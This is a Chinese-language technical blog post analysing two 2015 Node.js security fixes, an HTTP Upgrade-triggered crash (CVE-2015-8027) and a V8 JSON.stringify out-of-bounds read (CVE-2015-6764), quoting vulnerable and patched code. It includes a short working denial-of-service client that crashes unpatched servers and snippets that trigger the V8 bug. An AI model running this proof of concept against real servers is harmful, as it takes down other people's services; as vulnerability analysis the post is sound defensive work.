Node.js 在 4 号放出了一个重要的更新,看了下 更新日志 ,主要修复的是一些安全性的漏洞,包括 CVE-2015-8027 和 CVE-2015-6764 这两个漏洞,影响版本还是比较多的,v5.1.0、v4.2.2、v0.12.8 及以下都有波及。在更新发布后,简单看了下漏洞的细节,在这里简单介绍下。
CVE-2015-8027 Denial of Service Vulnerability
这个漏洞看起来应该是 Node.js 开发者书写时的疏忽,在调用 parser.pause
方法时,没有判断 parser
是否存在,导致在特定情况运行时底层抛出 Type Error
错误,使进程崩溃。
主要涉及到下面的几个关键字:
- highWaterMark
- http method: UPGRADE
- response 处理
highWaterMark
它是一个在创建流时可以修改大小的参数,作用跟字面意思差不多,高水位线。在 Readable Stream 中,用来控制底层读取前缓冲区资源的最多字节数;在 Writable Steam 中,用来控制写入时待处理缓冲区中最多存放的字节数。超过这个值时,会将 Steam 置为 pause 状态,这个操作便是触发这个漏洞的关键。看下代码,在 _http_server.js#454 parserOnIncoming 方法中:
function parserOnIncoming(req, shouldKeepAlive) { ... if (!socket._paused) { var needPause = socket._writableState.needDrain || outgoingData >= socket._writableState.highWaterMark; if (needPause) { socket._paused = true; socket.pause(); } } ... }
另外,这个值的调整,对 I/O 操作有一定的优化能力。它默认的值是 16KB,对于对象流则为 16。如果这个值设置的过小,会导致系统调用过于频繁;如果设置过大,那么会导致资源分配的浪费,所以修改需要谨慎。
UPGRADE
这是一个 HTTP/1.1 标准中提出的一种头部方法。当客户端发送 UPGRADE,并指定其他的通讯协议,如果服务器支持,则必须返回 101,并且将通讯协议进行转换。那么为什么它会用来触发这漏洞呢?
因为在 http server 升级协议时,会把当前用到的 parser 释放掉,导致 socket.parser 就变成了 null,自然在后面调用时就会出错。具体代码位置在 _http_server.js#371 onParserExecuteCommon 方法中:
function onParserExecuteCommon(ret, d) { if (ret instanceof Error) { debug('parse error'); socket.destroy(ret); } else if (parser.incoming && parser.incoming.upgrade) { ... parser.finish(); freeParser(parser, req, null); parser = null; ... } //修正前: //if (socket._paused) { if (socket._paused && socket.parser) { debug('pause parser'); socket.parser.pause(); } }
所以,它就成了触发条件。
你可能会想,我的应用中没有用到 UPGRADE 方法,应该不会有影响吧?这其实跟你的应用中是否用了 UPGRADE 没有什么关系,这是在底层处理收到请求的过程中发生的错误,还没有到应用代码执行的层面,所以不是应用可控的。即使你监听了 upgrade
事件,它也是异步的,而且你也只是处理是否接受 UPGRADE 以及后续处理(比如:切断连接)的问题,一样会触发报错。
Response 处理
Node.js 在处理 Http 请求的响应时,使用了一个 outgoing
数组。在请求进来时,会创建一个 ServerResponse
对象,并将它 push
到 outgoing
数组中。当响应内容过多时,会发生排队的情况,当数据量超过 highWaterMark
时,就会导致 socket 的 pause。这里面涉及到的更多的内容,以后再细说。这部分相关代码,在 _http_server.js#454 parserOnIncoming :
function parserOnIncoming(req, shouldKeepAlive) { ... var res = new ServerResponse(req); res._onPendingData = updateOutgoingData; ... if (socket._httpMessage) { outgoing.push(res); } else { res.assignSocket(socket); } ... }
实战
根据上面的介绍,可以看到,这个漏洞的触发过程大致如下:
- 向服务端快速的发送大量请求,使服务端对应 socket 触发 pause 状态。
- 发送 UPGRADE 请求,触发服务端进入 upgrade 处理。
我们先来写一个 server,当有请求来的时候,会写一个大小 1024 的 Buffer,这个大小随你控制,用 1024 比较好计算。
'use strict'; const http = require('http'); const PORT = 8989; const chunk = new Buffer(1024); chunk.fill('X'); var server = http.createServer(function(req, res) { res.end(chunk); }).listen(PORT);
接下来写一个 client,用来发送请求,这里我们使用 net 模块来连接服务器并传输数据。在 client 里,要快速的发送请求,因为默认的 highWaterMark 大小是 16KB,所以我们发送 17 次请求,这样刚好超过它,触发 socket 的 pause 状态。然后发送一个 UPGRADE 请求,这样就会触发漏洞,导致服务器崩溃,具体代码如下:
'use strict'; const net = require('net'); var socket = net.connect(8989); for (var i = 0; i < 17; i ++) { socket.write('GET / HTTP/1.1/r/n/r/n'); } socket.write( 'GET / HTTP/1.1/r/nConnection: upgrade/r/nUpgrade: ws/r/n/r/n' );
一般 Node.js 应用会返回页面,这个也要写入 Buffer 的,所以也会出现写入超量的问题。用上面的代码测试了几个未升级的应用,会导致应用进程退出,但线上应用一般会有进程守护,所以在量小的情况下,影响还可控。如果量很大,即使应用不会退出,但 worker 进程一直重启,应用的状态也不会良好。
另外,也可以在 Nginx 层面对连入请求进行过滤,是可以保护后面的 Node.js 应用的。
注意:请勿乱用
CVE-2015-6764 V8 Out-of-bounds Access Vulnerability
这是 V8 的一个 bug,跟 Node.js 的实现并没有关系,它涉及到的方法是 JSON.stringify
。在这个方法的实现中,会用到被转换对象的 getter 和 toJSON 两个方法,如果我们重载了对象的这两个方法,那么就会影响到转换的结果。对于数组来说,如果在其中改变了数组的长度,那么最后结果会发生什么呢?先来看个例子:
var array = []; for (var i = 0; i < 10; i++) array[i] = i; var obj = { toJSON: function() { array.length = 1; return 'obj'; } }; array[0] = obj; JSON.stringify(array);
这段代码在这个漏洞没有修复之前,运行结果类似这种:
'["obj",null,128,3,4,5,6,7,8,9]'
显然,这个结果是错误的,因为 array 的长度变成了 1,后面的内容就不应该出现了。在这个 bug 修复后的执行结果是这样的:
'["obj",null,null,null,null,null,null,null,null,null]'
同样的,重载 getter 方法:
var array = []; for (var i = 0; i < 10; i++) array[i] = i; var obj = { get value() { array.length = 1; return "obj"; } }; array[0] = obj; JSON.stringify(array); //修复前 '[{"value":"obj"},null,128,3,4,5,6,7,8,9]' //修复后 '[{"value":"obj"},null,null,null,null,null,null,null,null,null]'
更多测试用例,请看 regress-crbug-554946.js 。
在 V8 这个方法的之前的实现中,只是简单的遍历元素,然后根据对应的类型,进行相应的转换,形成结果。
[76a552]json-stringifier.h#L429BasicJsonStringifier::Result BasicJsonStringifier::SerializeJSArray( Handle<JSArray> object) { ... uint32_t length = 0; CHECK(object->length()->ToArrayLength(&length)); builder_.AppendCharacter('['); Result result = SerializeJSArraySlow(object, length); ... }
修正之后,多了对数组类型的判断,根据不同的类型,采取不同的转换方法:
[master]json-stringifier.h#430BasicJsonStringifier::Result BasicJsonStringifier::SerializeJSArray( Handle<JSArray> object) { ... switch(object->GetElementsKind()) { case FAST_SMI_ELEMENTS: { ... } case FAST_DOUBLE_ELEMENTS: { ... } case FAST_ELEMENTS: { Handle<Object> old_length(object->length(), isolate_); for (uint32_t i = 0; i < length; i++) { if (object->length() != *old_length || object->GetElementsKind() != FAST_ELEMENTS) { Result result = SerializeJSArraySlow(object, i, length); if (result != SUCCESS) return result; break; } if (i > 0) builder_.AppendCharacter(','); Result result = SerializeElement( isolate_, Handle<Object>(FixedArray::cast(object->elements())->get(i), isolate_), i); if (result == SUCCESS) continue; if (result == UNCHANGED) { builder_.AppendCString("null"); } else { return result; } } break; } default: { ... Result result = SerializeJSArraySlow(object, 0, length); ... } }
主要是在 FAST_ELEMENTS
这个类型上,它会在遍历是动态的计算数组的长度,如果数组长度发生变化,会根据新的长度,直接运行 SerializeJSArraySlow
方法得到最终结果,否则会一个一个元素的处理。
同时, SerializeJSArraySlow
方法也做了修改,增加了一个参数 start
用来标识遍历的起始值,不会每次都从 0 的位置开始遍历。
总体看来,这个 bug 的触发条件还是挺复杂的,一般很少会遇到。